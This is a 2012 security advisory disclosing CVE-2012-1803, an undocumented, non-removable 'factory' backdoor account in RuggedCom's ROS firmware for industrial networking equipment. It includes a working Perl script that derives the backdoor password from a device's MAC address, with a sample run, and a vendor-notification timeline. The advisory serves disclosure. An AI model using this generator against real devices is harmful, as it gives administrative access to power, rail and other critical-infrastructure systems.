RuggedCom Devices - Backdoor Access

Title: Undocumented Backdoor Access to RuggedCom Devices

Author: jc

Organization: JC CREW

Date: April 23, 2012

CVE: CVE-2012-1803



Background:

RuggedCom is one of a handful of networking vendors who capitalize on

the market for "Industrial Strength" and "Hardened" networking

equipment. You'll find their gear installed in traffic control

systems, railroad communications systems, power plants, electrical

substations, and even US military sites. Beyond simple L2 and L3

networking these devices are also used for serial-to-ip converstion in

SCADA systems and they even support modbus and dnp3. RuggedCom

published a handy guide to some of their larger customers at

www.ruggedcom.com/about/customers/. My favorite quote is from a

contractor who installed RuggedCom equipment at a US Air Force base:

"Reliability was not an option." How unfortunately apropos.



Problem:

An undocumented backdoor account exists within all released versions

of RuggedCom's Rugged Operating System (ROS®). The username for the

account, which cannot be disabled, is "factory" and its password is

dynamically generated based on the device's MAC address. Multiple

attempts have been made in the past 12 months to have this backdoor

removed and customers notified.



Exploit:

#!/usr/bin/perl

if (! defined $ARGV[0]) {

print "+========================================== \n";

print "+ RuggedCom ROS Backdoor Password Generator \n";

print "+ JC CREW April 23 2012 \n";

print "+ Usage:\n$0 macaddress \n";

print "+========================================== \n";

exit; }

$a = $ARGV[0];

$a =~ s/[^A-F0-9]+//simg;

@b = reverse split /(\S{2})/,$a;

$c = join "", @b;

$c .= "0000";

$d = hex($c) % 999999929;

print "$d\n";



Example usage:

Given a RuggedCom device with MAC address 00-0A-DC-00-00-00, run some

perl and learn that the password for "factory" is 60644375.



[jc (at) pig (dot) aids [email concealed] ros]$ ./ruggedfail.pl 00-0A-DC-00-00-00

60644375

[jc (at) pig (dot) aids [email concealed] ros]$



Shoutouts:

CERT/CC for doing great work in trying to get vendors to actually fix things.

JC CREW



Timeline:

Apr 2011 - Vendor notified directly

Jul 2011 - Vendor verbally acknowledges knowledge of backdoor,

and ceases communication.

Feb 11 2012 - US-CERT notified

Mar 12 2012 - Vendor responds to US-CERT.

Apr 06 2012 - Due to lack of further contact by vendor, CERT sets

public disclosure for April 13 2012

Apr 10 2012 - Vendor states they need another three weeks to alert

their customers, but not fix the vulnerability.

Apr 11 2012 - Clarification requested regarding need for additional three weeks.

Apr 23 2012 - No response from vendor.

Apr 23 2012 - This disclosure.



Keywords:

RuggedCom

ROS

RuggedSwitch

RuggedServer

backdoor